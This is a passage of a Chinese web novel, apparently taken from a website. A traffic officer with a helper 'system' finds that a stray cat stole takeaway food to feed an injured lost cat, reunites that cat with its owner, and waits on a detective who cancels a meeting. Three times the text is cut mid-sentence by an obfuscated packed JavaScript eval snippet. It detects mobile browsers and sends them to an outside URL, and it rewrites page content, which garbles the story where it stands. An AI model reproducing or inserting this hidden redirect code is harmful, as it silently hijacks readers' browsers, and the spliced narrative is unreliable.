“碗里残留的汤汁，再加上死者的胃容物，我们怀疑死者是吃了什么海鲜的汤。旅馆附近有个饭店，看了嫌疑人的照片，说他案发当天下午来过，上门自提了一份佛跳墙。” 程昭发了个“疯狂点赞”的表情包。 周立言回了个“低调低调”的表情包。 “鞋印、垫子泥沙的成分比较复杂，所以还在排队检测。不过我们现在目标锁定在张志勇身上了，有新的进展的时候，我再告诉你。” 程昭发了个“谢谢，送你花花”的表情包。 周立言：“应该是我们要谢谢你，等事情告一段落，我请你吃饭？” 啊！没想到，程昭犹豫了几次，都没成功说出来的吃饭邀请，居然被周警官先提了出来。 程昭感觉有点脸热，帅哥邀请吃饭耶……不对，不能想太多，人家只是因为工作所以感谢你。这种事很正常，说不定还是一群人一起去吃饭呢。 程昭：“好啊！有人请客，我当然不会错过～先谢谢周警官了。” 周立言：“好了，不用那么客气。我先去工作了，回头再聊。” 程昭抱着手机和抱枕，窝在沙发里，又刷了一会儿手机，感觉有点无聊了。现在是下午三四点，外面多云不太晒，程昭决定出去活动一下，打听一下外卖丢失的事。 程昭召唤小五，问出她最近的疑问，“小五，为什么外卖被偷这一系列的事，没有触发系统收集呢？说起来，外卖小偷好像一直没被发现呢。” “不知道呢，如果是连续的长期的偷窃事件，按道理来说，应该会触发的。”小五也不明白。 “不如我们去查查看吧！研究一下，为什么系统不触发收集。” “好啊，我也可以把这些当成额外的素材，收集起来，说不定会有加分。” 说走就走，程昭换了身衣服，准备去一探究竟。 12. 外卖“小偷” 程昭来到A栋一楼，看到有位前台小姐正在值班。程昭笑着走向前去，问道：“请问，这几天是不是还是有外卖被偷？” 前台小姐微微苦笑，一脸无奈地回答：“是啊，我们已经让人在对面看着了，但是没看到有谁可疑。不过今天监控已经修好了，等后天外卖柜应该也可以用了。估计不会再发生外卖被偷的事了。” 程昭点点头，不过她想关心的，不是监控和外卖柜。她继续和前台小姐聊天，“我想了解一下，被偷的外卖，有没有什么规律？例如说，时间固不固定？外卖有没有什么特定的类型？” 前台小姐面露难色，这个考到她了，她摇摇头，回答道：“我也是最近才过来这边工作的，只知道最近这两次，好像是炸鸡汉堡之类的快餐。其他的我就不太清楚了……你想知道的话，可以问问门口的保安大叔，或者问我们的经理。” 程昭点点头，表示理解，谢过前台小姐，然后径直走向保安大叔。 保安大叔知道程昭的来意后，哈哈一笑。最近也有一些人来问过他，外卖被偷的事，所以已经见怪不怪了。 “你问我就问对人了。好多次外卖被偷，都发生在我值班期间。我们已经尽量盯着外卖架了，甚至有时候还过去确定取餐人的身份。但是不知道为什么，就是没看到有人拿走不属于自己的外卖。” 保安大叔也十分好奇外卖小偷的身份。这神出鬼没的手段，用在什么地方不好，居然老是过来偷外卖！ 程昭重复了一遍刚才问前台小姐的问题，“保安大叔，请问被偷的外卖，通常都是什么类型的外卖？” 保安大叔都没思考太久，直接回答道：“哎，通常都是一些炸鸡、炸鱼、烧烤的肉类。带汤水的那些，都没有被拿过。” 程昭想了一下，又问：“是不是被偷的外卖，都是比较轻的？” 保安大叔回想了一下，点头说：“是的是的，多数都是比较轻的，一人份的那种。” “那时间呢？有没有什么规律？”程昭又问。 保安大叔笑着摇摇头，“大概一两天，偷一次。但是要说时间规律的话，如果有就好了，东西都是主人来拿，才发现不见的。” 程昭发现自己问得太笼统了，连忙补充说：“不是，我的意思是，早上中午下午晚上，哪个时间段的外卖容易被偷？” 保安大叔回忆了一下，不确定地说：“好像一天到晚的时间段都试过，夜宵时间段可能会多一点，不过下午也有一些，反正都是错开了高峰期的时间段。” “错开了高峰期的时间段？那应该就是人流量比较少的时候吧？” 保安大叔挠挠头，无奈地说：“应该是吧，差不多。什么时间被偷的，我们也不确定，因为都没看到人。” 程昭闻言点头。也是，如果被偷的时间难以确定，因为没监控盯着…… 程昭谢过保安大叔，然后走过去看了一下外卖架。会不会那个外卖小偷，也是和老张儿子那样，在窗边拿的外卖？不过这样拿的话，就不一定是拿到炸鸡之类的，重量轻、体积小的东西了。 咦？窗台好像有点东西。 程昭过去仔细观察，发现是小动物的模糊的脚印。这个大小形状，有可能是猫的脚印？ 难道外卖小偷是一只猫？这样就说得通了。只偷重量轻、体积小的食物，而且喜欢拿肉类。猫咪体型小，又敏捷，趁没有人的时候，悄悄进来，别人未必会留意到。物业保安目前都把注意力放在“人”身上，可能就忽略了小猫。 程昭心中召唤系统小五，并和它说了自己的猜测。 “猫咪吗？确实有可能。”小五也觉得这个推测很靠谱。 “系统不会触发小动物做的案件吗？” “emm……这个问题，可能需要设定者才能告诉你了，我也不清楚。请宿主自行探索哦。” 好吧……真是任性……解释权归系统所有，对吧…… 不过说起流浪猫流浪狗，最近好像都很少见。不知道是怎么一回事。 程昭本着“来都来了”的原则，继续查外卖“小偷”。如果真的是猫咪或者小狗，就给它们送点吃的，看看是不是别人走丢的宠物。 程昭走到楼外面，仔细观察了外卖架窗户外的花坛。花坛的泥土里面有很多模糊的脚印，估计是之前查案留下的。花丛灌木丛之间的间隙，隐隐约约看到有一些小动物的脚印。 程昭一边顺着猫爪印的方向走，一边猜测猫咪的栖身之处。猫咪体型娇小，又身手敏捷，躲在什么犄角旮旯都有可能。 哎，希望不要在太难过去的地方，她还是个伤患呢，虽然可以散步走走，但是爬高爬低的，臣妾做不到啊…… 终于，程昭在小花园边缘的灌木丛后面，发现了猫咪的踪迹。 那是一只很瘦的橘色的狸花猫，耳朵被剪了一小块，应该是绝育过的小流浪。它警惕地盯着程昭，一副随时准备逃跑的姿态。 程昭有点后悔身上没带吃的，看到这只小橘猫那么警惕，干脆先离开，先去超市买点罐头猫条。 等程昭买了东西回来，小猫已经不在原处了。不过程昭不死心，她罐头都买了，家里又没养猫，带回去也没用。程昭也不管会不会小橘猫会不会回来，直接开了个罐头，在附近转转。 皇天不负有心人，小橘猫闻到味道，在一边树丛探头探脑的，试探地看向程昭。 程昭很识趣地把罐头，放在树丛附近的地面上，然后后退了几步。 小橘猫可能很饿了，见程昭没有恶意，就直接出来吃饭了。吃得很急，一边吃一边发出了哼哼的声音。 吃了差不多一半的时候，小橘猫居然停了下来，尝试找角度，想要叼起罐头。试了几次都不行，小橘猫放弃了，然后看向程昭，喵喵喵的叫。 “怎么了？你想带走罐头？想要我帮忙？” 小橘猫围着罐头转了两圈，然后往一个方向走了几步，试探地看向程昭。 程昭小心地往前走了两步，拿起罐头跟着小橘猫。 小橘猫见程昭拿着罐头跟着它，又继续往前走，一边带路一边回头看程昭。程昭就这样，跟着小橘猫走了一小段路，来到墙边的一小堆废弃的建筑材料附近。 小橘猫对着一个管道叫了几声，管道里出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643723|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了一只白色的长毛猫，长毛打结成一缕缕的，沾了不少灰。而且，白猫的后腿好像受伤了，肿起来了一块，走路一瘸一瘸的。 小橘猫看向程昭和她手里的罐头，程昭连忙把罐头放到地上。小白猫和小橘猫互相蹭了两下，然后小白猫靠近罐头，急急忙忙地吃了起来。 两只小猫太饿了，一个罐头好像不太够。幸好程昭早有准备，刚刚在超市买了两个罐头和一包猫条。她把另一个罐头也打开，让两只猫一起吃。 小猫吃饭的时候，程昭留意了一下，四周的环境。这边应该很少有人过来，地上有一些外卖包装的碎片，估计就是小橘猫偷了外卖，拿回家和同伴分享了。 两只小猫都好有灵性，好可爱。程昭十分心动，决定把它们都带回家。不过带回家之前，要先带去宠物医院，小橘猫要做检查，小白猫更要检查后腿的伤。 现在她手上没有合适的箱子，只有一个超市的袋子，不过还算结实。她也不知道小猫愿不愿意跟她走，只是先打算试探一下。如果愿意进袋子，就直接带去宠物医院。不愿意的话，她就找人过来，帮忙诱捕。 小猫吃得差不多的时候，程昭打开袋子，“猫猫，你们要不要跟我回家？我带你们去看医生……” 两只猫犹豫了一会，可能感觉程昭的善意，最后都进了袋子。 两只小猫都很瘦，加起来可能才七八斤，但是这个重量对现在的程昭而言，还是有点吃力的。她的一边肩膀有伤，所以只能挂在另一边。 程昭小心翼翼地拧着袋子，走了差不多十分钟的路，到了小区附近的一家宠物医院。 医生帮忙抱了两只小猫出来，准备给它们分别做简单清洁和检查。 年轻一些的助手，看着手里的小白猫，犹豫地问旁边的医生：“咦，这只长毛白猫，有点像之前御景花园李小姐走丢的那只？” 医生扶了一下眼镜，仔细看了看伤腿小猫，“确实有点像……就是有些瘦脱相了，不好比较……” 程昭见状，连忙问：“请问这只猫是有主人的吗？” 助手点点头，又摇摇头，“两个多月前，御景花园的李小姐找我们帮忙，转发寻猫启事。看样子，是和她那只有点像，但是很多长毛白猫都长得挺像的，我也不确定。而且这只瘦太多了。” 程昭轻轻皱眉，“那要不要联系这位李小姐问问？这两只小猫是在新风小区捡到的，它们应该在小区里面流浪一段时间了。如果没有主人的话，我就带它们回家。” “好的，我去找一下李小姐的电话，看看她方不方便过来。”助手见两只小猫都乖乖地待在小房间的桌子上，就先出去联系李小姐。 没多久，助手回来了，“李小姐说她现在开车赶过来，应该半个钟左右就到了。我们先给小猫做简单清洁和检查，白猫还需要检查伤口。” 看来李小姐是挺在意她的猫的，一听说有可能是自己的猫，就立刻开车过来。 程昭点头，轻轻抚摸小橘猫的头，按医生的推荐，给两只小猫先选了体检的套餐。 然后，程昭就在店里坐着，等检查结果和李小姐的到来。 13. 小猫们的归宿 小橘猫首先做完体检。医生估计它大概一岁左右，是已经绝育的公猫，除了有轻微的耳螨和营养不良，没有什么其他的问题。 小白猫就相对麻烦一些，做完体检之后，还要治疗伤腿。后腿的伤口已经发炎化脓了，不过医生看了拍片，说骨头没有事，等伤口长好了，小白猫依然能跑能跳。 医生给小白猫处理完伤口，从手术室出来，“白猫的伤口处理完了，因为清创打了一些麻药，要等麻药过去之后才可以回家。” “不过它的伤口比较严重，我们建议住院护理几天，伤口愈合一些再带回去。现在白猫在安置区的笼子里面，可以去看看它。” 程昭点点头，准备和小橘猫一起去看小白猫。 这时，医院门口的感应铃声响了，一个穿着西装裙的年轻女性，一边擦着汗，一边推门进来。 女子皱着眉，神情忐忑又着急，“不好意思，路上有点堵车，我来晚了一些。你们是不是看到有只猫，长得很像我的雪球？” 医生看到女子，向她招了招手，“李小姐，你来得正好，白猫已经做完清创，你现在可以去确认一下……这位程小姐，就是捡到猫的人。” 程昭和李小姐互相打了招呼，然后一起跟着医生过去看小白猫。 小白猫躺在笼子里，脖子戴着伊丽莎白圈，眼睛和嘴巴微张，半吐舌头。它的毛虽然已经简单擦过了，但是还是有点灰灰的。右腿伤口附近的毛都剃掉了，伤口被绷带包裹着，看起来十分可怜。 李小姐靠近小白猫，仔细观察，越看越觉得是自己的猫，“雪球，雪球，是不是你？” 小白猫迷迷糊糊地听到主人叫自己的名字，激动得睁开眼睛，“喵呜”了两声。 李小姐眼里一下子充满了泪水，“是雪球，肯定没错了，它鼻子和嘴巴上，还有手上肉垫的黑斑，和雪球的一模一样……” 李小姐打开笼子，轻轻抚摸小白猫，小白猫也下意识地蹭蹭她。 医生看到李小姐把笼子打开了，连忙走过去提醒：“还是先等白猫麻药过了，再开笼子。不然，它可能会控制不住身体，掉到地上。” “……好吧，”李小姐依依不舍地摸摸小白猫，“等下我再过来陪你。” 医生带着两人到休息区，让她们坐着慢慢等，还给她们拿了两杯水。 李小姐握着水杯，“程小姐，真的太感谢你了！雪球已经不见了两个多月了，我都以为再也找不到了。没想到它居然就在我们旁边的小区，流浪了这么久，还受伤了。” “不用客气，我也是刚好遇到了，”程昭笑着摆摆手，简单地讲了一下，自己遇到两只猫的经过。 “因为我很好奇，小区的外卖小偷是谁，就自己去调查了一下。没想到小偷居然是这只小橘猫，它为了让受伤的同伴补充营养，去偷了一两个星期的外卖……” “估计雪球之前是去了其他地方，最近才回到你家附近。但是因为后腿受伤，不方便继续探路，所以才留在新风小区这边。 关于雪球的伤，医生也点头说：“雪球的伤可能拖了半个月左右，所以伤口才发炎成这样。” “雪球能被找回来，真的是太不容易了……小橘猫，太谢谢你了，谢谢你帮了雪球。”李小姐一边对小橘猫说话，试探去摸它。小橘猫后退一步，然后停住，让李小姐轻轻摸它的脑袋。 发现小橘猫愿意让她触碰，李小姐十分惊喜，忍不住提议：“如果小橘猫没有人领养，可以考虑一下我，让它和雪球一起生活。” 程昭有点左右为难，苦笑挠挠头，“这……其实我是打算自己养的……但是，如果小橘猫更想要和雪球在一起，那我就忍痛割爱了。等雪球麻醉过了，我们一起看看小猫的决定吧。” 李小姐笑着点头，“对，这个主意好……那作为备选的领养人，我先和你讲一讲我的情况。我叫李茹，在鲜鲜食品公司工作，住在御景花园的别墅区，家里自带一个小花园，小猫活动比较自由……” 说到这里，李茹突然停下来，苦笑了一下，“唉，说起来，雪球不小心跑丢，也是因为家里的小花园。” “那天晚上，不知道哪来的一群小混混，在小区里面到处跑，还乱放烟花爆竹。不知道怎么的，还丢了两个小烟花进我院子里，吓得雪球跑了出去。” “我当时出差在外，是事后才知道的。本来以为雪球的颈圈有定位功能，我们可以很快找到它。没想到，颈圈被人剪断了，丢在大街的垃圾桶。我四处找人帮忙，转发寻猫启事，但是一直没找到。” 听着李茹的回忆，程昭突然听到系统新事件的提示音。她不动声色地打开事件收集器，发现多了一个“神秘团伙偷盗事件”。 这个事件下面，概述的内容少得可怜，只写了有一群人制造混乱，进行偷盗，其他未知。 信息关联表显示的有关内容也很少，只有“小混混制造混乱”、“雪球项圈被剪”。 没想到，居然这样就触发事件收集了，但是线索好少，这件事已经过了两个多月，估计也没有多少线索了。 “怎么还有这样的事，这些小混混有被捉住吗？”程昭赶紧追问当事人线索。 李茹点点头，苦笑说：“只捉住了两个，都是小区里面有名的熊孩子初中生。” “他们说，那天有个打游戏认识的朋友，突然来小区找他们玩，还带了几个朋友和很多烟花爆竹。后来不知道怎么回事，加入的人越来越多，场面慢慢混乱起来……” “他们只认识那个一起玩游戏的网友，但是只知道长相和游戏昵称。而其他的人，全部都不认识……因为没有造成什么严重损失，最后就不了了之了。” 程昭手指点点下巴，继续追问：“那你们小区，之后有没有什么事情发生？例如有人家里被偷什么的。” 李茹皱眉回想，然后瞪大眼睛，惊讶地看向程昭，“你这么一说，确实是有！难道和那天那些人有关系？好像差不多有五六户人家被盗了，还有人发现自己门口被做了奇怪的记号。小区加强管理之后，好像就少了很多。” 程昭摸摸下巴，点点头，然后又问：“那他们有报警吗？” “我记得有几家报警了。不过他们不是同一天被偷的，我们也没想过是不是有关联，只以为那段时间物业管理不好……” “损失严重吗？” “听说被偷了一些现金、首饰、电子产品，但是具体的就不清楚了。” 程昭闻言点点头。感觉再问也问不出太多东西了，李茹也不是家里被偷的当事人，如果可以接触盗窃案的卷宗就好了。 而且，团伙作案的话，应该不会只做一次两次就收手的，以后说不定还能遇上。不过这个事件的收集，估计要先搁置一边了。 医生看了一下时间，估计白猫雪球差不多醒了，助手去找了个篮子，把雪球捧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643724|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。 雪球看到主人，差点激动得站起来。李茹连忙安抚它，让它继续躺着。 小橘猫看到朋友，也过来蹭蹭，还疑惑地凑过去，闻闻小白猫的腿，然后又回到程昭的旁边。 医生拿出之前检查的单子，“雪球的伤，估计是被狗咬伤的。伤口发炎化脓，清创之后看到伤口很深，要养一段时间，才可以愈合。我们建议先留医院住几天，稳定了再带回家。” 李茹想了一下，最后还是点头了，“为了雪球更好的养伤，还是先住院吧。我会每天都来看它。” 李茹看到小橘猫跟着程昭，有点羡慕，“看来小橘猫更乐意和你回家了。等雪球伤口愈合，程小姐有空的时候，带小橘猫来我家玩吧。” 程昭欣然接受了李茹的邀请，两人互相加了飞讯好友。 天色已晚，程昭打算带小橘猫回家了。因为家里没有猫粮猫砂，就在宠物医院买了一些急用的。 结账时，李茹坚持把小橘猫的账单也一起付了，说是对小橘猫的一点谢礼，然后还开车，先送了程昭回小区，然后又回去宠物医院看雪球了。 程昭看着大包小包的宠物用品和小橘猫，才想起自己还没有和妹妹说养猫的事。 坏了，妹妹应该不会有意见吧？ 今天周五，妹妹应该已经放学回家了。程昭略带忐忑地拨通了妹妹的电话，“妹妹啊，你放学回家了吗？” “是啊，我快到小区了。” “……有个事情，发生得突然，我没来得及问你意见……” “什么事啊？” “我带了一只小橘猫回家……” “真的吗？哇，太好了！我之前还羡慕同学有宠物……啊，我看到你了。” 程昭看到程露在远处向她挥手，然后急匆匆地跑过来。 “小猫在哪里？哦，在航空箱里面吗？”程露看了一圈，最后锁定航空箱，蹲下，看到了小橘猫，“啊，它好瘦啊。” “是啊，有点营养不良。我们先拿东西上去吧。”程昭指挥程露帮忙拿东西，两人拧着大包小包，进了电梯。 回到家里，程昭先把门窗都关好。然后放出了小橘猫。 小橘猫到了新环境，居然不怕生，大摇大摆地巡视领地。 程昭和程露一起整理了一些地方，来放置猫咪的生活用品。 程昭一边收拾，一边和程露讲今天发生的事。 程露听得目瞪口呆，“所以，小橘猫就是这段时间的外卖小偷，然后它还帮了一只猫？小橘猫，你太厉害了吧，绿林猫侠啊！” “是吧，所以我就很想带它回家。甚至忘记先问问你的意见了。对不起呀。”程昭不好意思地挠了一下脸，感觉自己先斩后奏，有点不太好。 虽然这个家，她算是话事人，但是也应该尊重别人的意见。幸好，妹妹也喜欢猫。 “没事，养宠物这个事，我已经想了很久了。但是因为你工作也忙，我住宿又不能经常回家，所以一直没开口……”程露笑着摇摇头，表示这个不是什么问题。 然后，程露又连忙补充：“不过，你以后有什么重大决定，一定一定要记得，问问我的意见哦。我也不是小孩子了，很多事情我都可以帮忙的。” 难得家里的事情，家长愿意听自己的意见，程露当然要保留话语权了。 看着妹妹认真的脸，程昭笑着点头，“放心，一定。” 14. 后续和失约 小橘猫在程昭家安定下来。只花了一个晚上的时间，这只社牛小猫就巡遍了它的新领地，和家里人打成一片。 不过，在给小猫起名字的事情上，两姐妹有了分歧，想了一晚上都没定下来。 第二天，两人决定分别给小猫念一遍自己想的几个名字，看看小猫回应哪一个。 不过直到她们都念完了，小猫都一脸茫然地看着她们，完全没有回应。 程昭感觉有点头大，她就是一个起名废，没想到妹妹也和自己差不多，“都不喜欢吗？难不成，直接喊你小橘？” “喵？”没想到，叫小橘，小猫立刻就回应了。 程昭和程露又分别喊了几声小橘，小猫都回应了。 程露挠挠小橘的下巴，“看来，你比较喜欢这个名字啊。” 程昭摸了一下小橘的耳朵，它的耳朵有剪耳标记，“说不定，是之前照顾小猫的人，给它起了这个名字……它不是被剪耳朵，绝育了吗。” “确实有可能。它以前应该不在我们这边小区生活，之前都没看过它……说起来，我之前喂的流浪猫，这几个月，陆陆续续好多都不见了……希望是被人带回家了吧。”想起自己曾经喂过的几只小猫，程露不禁有点担心。 “希望吧……”这样的事有很多种可能，而且大部分都不太美好。 程昭跳过这个话题，和程露讨论，要给小橘添置什么东西。程露立刻打开社交软件，去查养猫的攻略。 两人正在讨论要买什么类型的猫爬架的时候，程昭的手机响了。 “咦，是昨天的李小姐……喂？”程昭接通电话。 “hi，程小姐，你在家吗？我准备了一些糕点，想要送一些给你，还有送给那些外卖失主当赔礼。为了照顾雪球，给大家添了一些麻烦，我就略表心意。” 程昭笑着说：“李小姐，你直接叫我程昭吧。我现在就在家。你就不用送我东西了，太客气了……说起来，我还没有和物业说外卖小偷的调查结果呢。小橘现在是我家的猫了，是它偷的外卖，我都还没有想好，怎么赔礼道歉呢。” 李茹爽朗的声音从电话传出，“程昭，你也直接叫我李茹吧。那些都是我公司的产品，内购价不贵，也算是我给公司做推广了。我们是朋友了，我总不能送你们小区的人试吃，不送你那份吧！别和我客气这些了。我还给小橘猫带了一些罐头零食。” 李茹停顿了一下，然后又说：“你们那边就不用去赔礼道歉了。如果不是为了照顾雪球，小橘也不用去偷外卖，它那么机灵，很容易就填饱肚子。雪球就比较麻烦，很多东西都不吃的。所以你也不要和物业道歉什么了，你就当我是为了报答小橘吧……等下你陪我一起，去和物业说一下这件事吧？” “好吧，那我就不客气了哈。你过来吧，差不多到就了就叫我。” ………… 李茹推着小推车，小推车上的糕点礼盒，差不多有半个人高，十分显眼。程昭一出来就看到她了。 李茹先递给程昭一大袋东西，笑着说：“来，这份是给你的，我先给你装好了。里面有几个我们的新品，贴着标签的，你试吃之后给我反馈一下意见。” 程昭也不推辞了，笑着接过了大袋子，“谢谢，那我就不客气了。保证认真试吃，认真反馈！” 两人一起到了A栋的物业前台，之前遇到的前台小姐、保安大叔，还有物业经理刚好都在。程昭笑着走过去，和他们说了外卖小偷的调查后续，和李茹的来意。 保安大叔恍然大悟，“啊！原来是小猫偷的啊，怪不得我们盯着人没有用。但是它也太灵敏了，我们有看到小猫出没，但是都没看到它出手。我们根本就没想过是猫做的。” 前台小姐开心地笑了，“太好了，外卖不再被偷的话，经理就不会再催促我们看着外卖了。” 物业经理无奈耸肩，“没办法啊，总不能让住户经常投诉我们吧？” “实在是不好意思，我家小猫给大家添麻烦了。这是我的一点心意，是送给受累的工作人员和外卖失主的，麻烦你们帮忙转交吧？物业如果帮忙赔偿了外卖的话，也请你们告诉我，我会补上这些损失。”李茹推着小推车上前，诚恳地说道。 鲜鲜牌的点心挺出名的，而且李茹带了这么多盒过来。物业经理也有点不好意思了，“李小姐，这也太破费了，我们也没做什么，本来也是我们的工作……” 李茹笑着摇摇头，“那也是给你们工作添乱了。我是鲜鲜食品的经理，用自家产品送礼，也算是做广告推广了。麻烦你们给失主都送一份吧。” 一番推让之后，物业收下了李茹的礼物和赔偿付过的钱，也按李茹的请求，给所有失主都送了一份糕点。 外卖小偷的真相在业主住户之间传开了，失主们都原谅了“小偷”的所作所为，大家都被小动物之间的情义感动了。 外卖后面一段时间都没有丢失了，这件事算是告一段落，不过这是后话了。 ………… 自从车祸事件醒来以后，程昭差不多一个月没去上班了。程昭感觉自己恢复得差不多了，就打算问问领导要怎么销假复工。 程昭的领导名叫庞达，A市交通四队队长，是个很好说话的人。可能因为近年少了运动，也可能是心宽体胖，庞达的体型也逐渐“胖达”化。 程昭给庞达发信息：“庞队，我伤势已经恢复得差不多了，应该可以复工了。请问需要准备什么材料，和怎么走流程？” 几分钟后，庞达回复信息：“这么快就好了？你肩膀的伤挺严重的哦，年轻人要爱惜自己身体，适当的休养不是什么坏事。” 程昭：“庞队，我真的可以正常行动了，出外勤可能还不太行，但是在办公室帮忙整理资料还是没问题的。” 庞达：“……好吧。那你找天去医院复诊，医生说没问题了，出个医生证明。然后再回队里，找孙敏敏销假走流程。记得把医院的单据都带上，你是出勤受伤的，可以申请一些补贴。” 程昭：“好的~谢谢领导提醒~” 居然还有补贴可以申请，不过也是，当初程昭是出外勤处理事故，才被龙傲天（韩高煊）开车撞了。算是工伤了。 提起龙傲天，不知道他后续怎么样了。上次周立言说过，警方已经在通缉他了，青木帮也知道了他背刺小头目。 后来周警官没有和她再说过这个案子的后续，该不会忘记了吧？难道是太忙忘记了？下次问问好了…… 才想起周警官，没想到没过多久，程昭就接到周立言的电话。 程昭接通电话，“喂，周警官？” 周立言的声音从手机传出来，“程警官，你今天有空吗？你们小区张国厚的案件，他儿子招供了，他说的证词我们已经核实完，可以结案了。你是不是想要了解案件的后续？” 程昭连忙点头，然后才想起电话另一边看不见，“是的，我非常想要了解。” 周立言犹豫了一下，“嗯，是这样的，我可以开放一些资料给你看，但是资料不方便带出去，你要不要来一趟我们办公室？” 程昭闻言大喜，可以直接看资料就最好了，不会遗漏细节，“好啊，我什么时候可以过去？” “你可以五点左右来，到了给我电话，我下去接你。” “好，没问题，看完之后，我请你吃饭当做谢礼吧，周警官。” 周立言好像轻笑了一声，“咳， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643725|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是在提醒我，上次承诺的请客，还没有兑现吗？” 程昭大窘，“哈哈哈，没有没有，当然没有……” “和你开玩笑的，你晚一些来也没关系，我会在办公室，可能六点才走。” 程昭马上说：“我现在没有什么事情，我会准时到的。” “嗯，那我先去工作了，要写份文件。你到了就打电话给我，等会见。” “好的，等会见。” 周警官果然很靠谱！她就知道她没看错人。案子一结就给她看后续，而且还是直接看资料。 以后周警官的案件，她要用心留意才行。其他的刑警可能不会像周立言那么好说话，说不定还觉得她的“推理”是捣乱。 不过，她有系统在身，她对查案的帮忙，应该很快大家就会有目共睹了，到时候反对的声音应该就会逐渐减少吧。 不知道交警协助破案，队里会不会有嘉奖呢？如果可以靠这些，升职加薪就好了…… 程昭畅想未来，忍不住傻乎乎地笑了起来。 现在时间还早，才下午两点多，从家里过去市局，坐车大概半个小时。程昭不急着出门，于是继续看痕迹学、心理学相关的书。 到了四点左右，程昭收拾一下准备出门，突然接到了周警官的电话。 程昭接通电话，隐隐约约有种要被放鸽子的预感，“喂，周警官？” 周立言沉默了一下，好像在叹气，“……喂，程警官，是我周立言。你现在出门了吗？” 周警官的声音，听起来好像有些疲惫。 程昭回复：“还没有呢，正准备出去。怎么了吗？” 周立言微微松了一口气，没出门就好，省得麻烦她白跑一趟，“嗯，你没出门就好。不好意思，我家里突然有点事，我可能要早点下班……改天我再约你过来办公室看资料吧？” 程昭有点失望，果然被鸽了，但是资料迟些也可以看，反正系统的事件收集没有期限要求。 程昭笑着说：“好啊，那我就等你电话了。资料迟一些看也没事，最重要的是你愿意给我看……对了，我伤好得差不多了。如果下周复诊没问题，我就回去交通局上班了。说不定，我们上班的时候还能遇到。” 周立言听到程昭没介意自己的食言，松了一口气，听着她轻快的语调，好像心里的苦闷也消解了很多，“是吗，那太好了。希望早日遇到你出勤。” “我猜，领导应该会安排我，做一段时间的文职工作。不过等我伤好了，我就可以申请出去外勤了，我也比较喜欢在外面跑。” “嗯，那你要注意身体，别上班就二次受伤了。” “那当然了，我又不是小孩子，有分寸的。”程昭笑着说。 “嗯。我等下要出去了，先挂电话了。我看看哪天有时间，尽快联系你。” “好的，拜拜。” 挂了电话，程昭没有其他计划安排，干脆又继续去看书充电了。 ………… 另一边，周立言看着挂了的电话，深深地叹了一口气。 办公室里没有其他人，周立言就没有刻意去维持自己的形象。 读书时候，他就发现了自己的外形很吸引异性。为了避免不必要的麻烦，他习惯了以冷漠严肃的姿态示人。 但是，面对家里的烦心事，他就有点绷不住。 周立言闭上眼睛，慢慢调整情绪，又恢复了冷漠严肃的样子。 没事，家宴罢了，吃两口就找借口走人。相信家里那些世交好友，也不会想搭理他这个没有利用价值的人。至于老头子想要他讨好的那些小姐，他不理就是了。 没有什么大不了的，反正他也习惯了。 15. 相请不如偶遇 看书看得太入迷，程昭一时进入了废寝忘食的状态。 华灯初上，夜幕降临，小橘饿了，发现猫碗没粮。霸气小橘直接跳到程昭身上，打破了她的入定状态。 居然已经八点半了！原来她已经看了几个小时的书，怪不得肚子有点饿。 程昭连忙给小橘放了猫粮，换了饮用水，然后进入厨房，打算简单地煮点吃的。 打开冰箱一看，居然是空的…… 程昭拍拍额头，这几天看书逗猫，都忘记去补货了。好在，现在的时间不算太晚，而且楼下的商超应该有晚市优惠。程昭打算出去快速采购一番，然后再看看，是在广场随便找个小店吃饭，还是回家自己煮。 程昭一边逛超市，一边和系统小五说话，“小五，不如下次你帮我留意一下时间？到了饭点什么的，就提醒我？” 小五无奈地说：“……宿主，你已经是个成年人了，自己的事情自己做。” “成年人偶尔也会忘记时间的嘛……” “不行就是不行，我又不是闹钟。” 晚上逛商超的人不算少，因为八九点之后，会陆续有一些临期的生鲜打折出售。 程昭买了一些蔬菜水果，打算再买点肉类，如果遇到打折的腌制牛排猪排，今晚就直接煎了当晚饭，然后吃点水果或者青瓜，这样就有荤有素了。 果然有打折的牛排，而且还是品质比较好的！程昭连忙拿了两三盒，放进购物车。突然，一个有点眼熟的身影进入视线范围。嗯？周警官？ 周警官下班时间，居然穿着一套有点正式的西装，一个人在逛超市？他不是说家里有事吗？一眼看过去，好像不太开心的样子。 程昭正在犹豫要不要过去打招呼，周立言刚好看到程昭，直接推着购物车过来了。 “程警官，好巧，”周立言看到程昭，想起今天的失约，“实在是不好意思，今天临时有事失约了。” “周警官，好巧，小事情啦，不用道歉这么多次。”程昭看了一下周立言的购物车，发现都是速食制品，“你怎么这么晚来超市？还买这么多微波炉食品？” 